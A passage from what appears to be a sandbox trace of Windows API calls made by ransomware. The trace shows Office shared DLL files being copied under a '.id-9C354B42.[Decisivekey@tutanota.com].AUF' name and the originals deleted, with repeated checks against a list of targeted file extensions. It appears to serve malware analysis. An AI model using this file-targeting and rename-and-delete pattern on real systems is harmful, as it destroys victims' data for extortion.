lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.396] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.396] SetEndOfFile (hFile=0x1e0) returned 1 [0220.396] CloseHandle (hObject=0x1e0) returned 1 [0220.396] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.396] SetEndOfFile (hFile=0x204) returned 1 [0220.397] CloseHandle (hObject=0x204) returned 1 [0220.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.397] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 1 [0220.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.397] lstrlenW (lpString=".doc") returned 4 [0220.397] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.397] lstrlenW (lpString=".docx") returned 5 [0220.397] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0220.397] lstrlenW (lpString=".pdf") returned 4 [0220.397] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.397] lstrlenW (lpString=".xls") returned 4 [0220.397] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.397] lstrlenW (lpString=".xlsx") returned 5 [0220.397] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0220.397] lstrlenW (lpString=".ppt") returned 4 [0220.397] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.397] lstrlenW (lpString=".zip") returned 4 [0220.398] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.398] lstrlenW (lpString=".rar") returned 4 [0220.398] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.398] lstrlenW (lpString=".bz2") returned 4 [0220.398] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.398] lstrlenW (lpString=".7z") returned 3 [0220.398] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.398] lstrlenW (lpString=".dbf") returned 4 [0220.398] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.398] lstrlenW (lpString=".1cd") returned 4 [0220.398] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.398] lstrlenW (lpString=".jpg") returned 4 [0220.398] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.398] lstrlenW (lpString=".doc") returned 4 [0220.398] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.398] lstrlenW (lpString=".docx") returned 5 [0220.398] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0220.398] lstrlenW (lpString=".pdf") returned 4 [0220.398] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.398] lstrlenW (lpString=".xls") returned 4 [0220.398] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.398] lstrlenW (lpString=".xlsx") returned 5 [0220.398] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0220.398] lstrlenW (lpString=".ppt") returned 4 [0220.398] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.398] lstrlenW (lpString=".zip") returned 4 [0220.398] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.398] lstrlenW (lpString=".rar") returned 4 [0220.398] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.398] lstrlenW (lpString=".bz2") returned 4 [0220.398] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.398] lstrlenW (lpString=".7z") returned 3 [0220.398] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.399] lstrlenW (lpString=".dbf") returned 4 [0220.399] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.399] lstrlenW (lpString=".1cd") returned 4 [0220.399] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0220.399] lstrlenW (lpString=".jpg") returned 4 [0220.399] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.399] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.399] lstrlenW (lpString="ACEWSS.DLL") returned 10 [0220.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.845] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=318368) returned 1 [0220.845] CloseHandle (hObject=0x20c) returned 1 [0220.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0220.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.845] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.845] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0220.846] GetLastError () returned 0x0 [0220.846] ReadFile (in: hFile=0x20c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x4dba0, lpOverlapped=0x0) returned 1 [0220.907] WriteFile (in: hFile=0x180, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x4dbb0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x4dbb0, lpOverlapped=0x0) returned 1 [0220.911] ReadFile (in: hFile=0x20c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.911] WriteFile (in: hFile=0x180, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0220.911] SetEndOfFile (hFile=0x180) returned 1 [0220.911] CloseHandle (hObject=0x180) returned 1 [0220.911] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.911] SetEndOfFile (hFile=0x20c) returned 1 [0220.914] CloseHandle (hObject=0x20c) returned 1 [0220.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 1 [0220.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.914] lstrlenW (lpString=".doc") returned 4 [0220.914] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.914] lstrlenW (lpString=".docx") returned 5 [0220.914] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0220.914] lstrlenW (lpString=".pdf") returned 4 [0220.914] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.914] lstrlenW (lpString=".xls") returned 4 [0220.914] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.914] lstrlenW (lpString=".xlsx") returned 5 [0220.914] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0220.915] lstrlenW (lpString=".ppt") returned 4 [0220.915] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.915] lstrlenW (lpString=".zip") returned 4 [0220.915] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.915] lstrlenW (lpString=".rar") returned 4 [0220.915] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.915] lstrlenW (lpString=".bz2") returned 4 [0220.915] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.915] lstrlenW (lpString=".7z") returned 3 [0220.915] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.915] lstrlenW (lpString=".dbf") returned 4 [0220.915] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.915] lstrlenW (lpString=".1cd") returned 4 [0220.915] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.915] lstrlenW (lpString=".jpg") returned 4 [0220.915] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.915] lstrlenW (lpString=".doc") returned 4 [0220.915] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.915] lstrlenW (lpString=".docx") returned 5 [0220.915] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0220.915] lstrlenW (lpString=".pdf") returned 4 [0220.915] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.915] lstrlenW (lpString=".xls") returned 4 [0220.915] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.915] lstrlenW (lpString=".xlsx") returned 5 [0220.915] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0220.915] lstrlenW (lpString=".ppt") returned 4 [0220.915] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.915] lstrlenW (lpString=".zip") returned 4 [0220.915] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.915] lstrlenW (lpString=".rar") returned 4 [0220.915] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.915] lstrlenW (lpString=".bz2") returned 4 [0220.915] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.915] lstrlenW (lpString=".7z") returned 3 [0220.915] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.915] lstrlenW (lpString=".dbf") returned 4 [0220.915] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.915] lstrlenW (lpString=".1cd") returned 4 [0220.915] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0220.916] lstrlenW (lpString=".jpg") returned 4 [0220.916] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.916] lstrcmpiW (lpString1=".ODF", lpString2=".AUF") returned 1 [0220.916] lstrlenW (lpString="OFFICE.ODF") returned 10 [0220.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.916] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=4297568) returned 1 [0220.916] CloseHandle (hObject=0x20c) returned 1 [0220.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0x20 [0220.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0220.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[decisivekey@tutanota.com].auf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 1 [0220.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.941] lstrlenW (lpString=".doc") returned 4 [0220.941] lstrcmpiW (lpString1=".doc", lpString2=".ODF") returned -1 [0220.941] lstrlenW (lpString=".docx") returned 5 [0220.941] lstrcmpiW (lpString1=".docx", lpString2="E.ODF") returned -1 [0220.941] lstrlenW (lpString=".pdf") returned 4 [0220.941] lstrcmpiW (lpString1=".pdf", lpString2=".ODF") returned 1 [0220.941] lstrlenW (lpString=".xls") returned 4 [0220.941] lstrcmpiW (lpString1=".xls", lpString2=".ODF") returned 1 [0220.941] lstrlenW (lpString=".xlsx") returned 5 [0220.941] lstrcmpiW (lpString1=".xlsx", lpString2="E.ODF") returned -1 [0220.941] lstrlenW (lpString=".ppt") returned 4 [0220.941] lstrcmpiW (lpString1=".ppt", lpString2=".ODF") returned 1 [0220.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.941] lstrlenW (lpString=".zip") returned 4 [0220.941] lstrcmpiW (lpString1=".zip", lpString2=".ODF") returned 1 [0220.941] lstrlenW (lpString=".rar") returned 4 [0220.941] lstrcmpiW (lpString1=".rar", lpString2=".ODF") returned 1 [0220.941] lstrlenW (lpString=".bz2") returned 4 [0220.941] lstrcmpiW (lpString1=".bz2", lpString2=".ODF") returned -1 [0220.941] lstrlenW (lpString=".7z") returned 3 [0220.941] lstrcmpiW (lpString1=".7z", lpString2="ODF") returned -1 [0220.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.941] lstrlenW (lpString=".dbf") returned 4 [0220.941] lstrcmpiW (lpString1=".dbf", lpString2=".ODF") returned -1 [0220.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.941] lstrlenW (lpString=".1cd") returned 4 [0220.941] lstrcmpiW (lpString1=".1cd", lpString2=".ODF") returned -1 [0220.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.941] lstrlenW (lpString=".jpg") returned 4 [0220.942] lstrcmpiW (lpString1=".jpg", lpString2=".ODF") returned -1 [0220.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.942] lstrlenW (lpString=".doc") returned 4 [0220.942] lstrcmpiW (lpString1=".doc", lpString2=".ODF") returned -1 [0220.942] lstrlenW (lpString=".docx") returned 5 [0220.942] lstrcmpiW (lpString1=".docx", lpString2="E.ODF") returned -1 [0220.942] lstrlenW (lpString=".pdf") returned 4 [0220.942] lstrcmpiW (lpString1=".pdf", lpString2=".ODF") returned 1 [0220.942] lstrlenW (lpString=".xls") returned 4 [0220.942] lstrcmpiW (lpString1=".xls", lpString2=".ODF") returned 1 [0220.942] lstrlenW (lpString=".xlsx") returned 5 [0220.942] lstrcmpiW (lpString1=".xlsx", lpString2="E.ODF") returned -1 [0220.942] lstrlenW (lpString=".ppt") returned 4 [0220.942] lstrcmpiW (lpString1=".ppt", lpString2=".ODF") returned 1 [0220.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.942] lstrlenW (lpString=".zip") returned 4 [0220.942] lstrcmpiW (lpString1=".zip", lpString2=".ODF") returned 1 [0220.942] lstrlenW (lpString=".rar") returned 4 [0220.942] lstrcmpiW (lpString1=".rar", lpString2=".ODF") returned 1 [0220.942] lstrlenW (lpString=".bz2") returned 4 [0220.942] lstrcmpiW (lpString1=".bz2", lpString2=".ODF") returned -1 [0220.942] lstrlenW (lpString=".7z") returned 3 [0220.942] lstrcmpiW (lpString1=".7z", lpString2="ODF") returned -1 [0220.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.942] lstrlenW (lpString=".dbf") returned 4 [0220.942] lstrcmpiW (lpString1=".dbf", lpString2=".ODF") returned -1 [0220.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.942] lstrlenW (lpString=".1cd") returned 4 [0220.942] lstrcmpiW (lpString1=".1cd", lpString2=".ODF") returned -1 [0220.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0220.942] lstrlenW (lpString=".jpg") returned 4 [0220.942] lstrcmpiW (lpString1=".jpg", lpString2=".ODF") returned -1 [0220.942] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.942] lstrlenW (lpString="EXPSRV.DLL") returned 10 [0220.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.944] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=518984) returned 1 [0220.944] CloseHandle (hObject=0x20c) returned 1 [0220.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0220.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.945] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.945] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.945] GetLastError () returned 0x0 [0220.945] ReadFile (in: hFile=0x20c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x7eb48, lpOverlapped=0x0) returned 1 [0221.255] WriteFile (in: hFile=0x1f8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x7eb50, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x7eb50, lpOverlapped=0x0) returned 1 [0221.261] ReadFile (in: hFile=0x20c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.261] WriteFile (in: hFile=0x1f8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0221.261] SetEndOfFile (hFile=0x1f8) returned 1 [0221.265] CloseHandle (hObject=0x1f8) returned 1 [0221.265] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.265] SetEndOfFile (hFile=0x20c) returned 1 [0221.269] CloseHandle (hObject=0x20c) returned 1 [0221.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.269] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 1 [0221.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.269] lstrlenW (lpString=".doc") returned 4 [0221.269] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.269] lstrlenW (lpString=".docx") returned 5 [0221.269] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0221.269] lstrlenW (lpString=".pdf") returned 4 [0221.269] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.269] lstrlenW (lpString=".xls") returned 4 [0221.269] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.269] lstrlenW (lpString=".xlsx") returned 5 [0221.269] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0221.269] lstrlenW 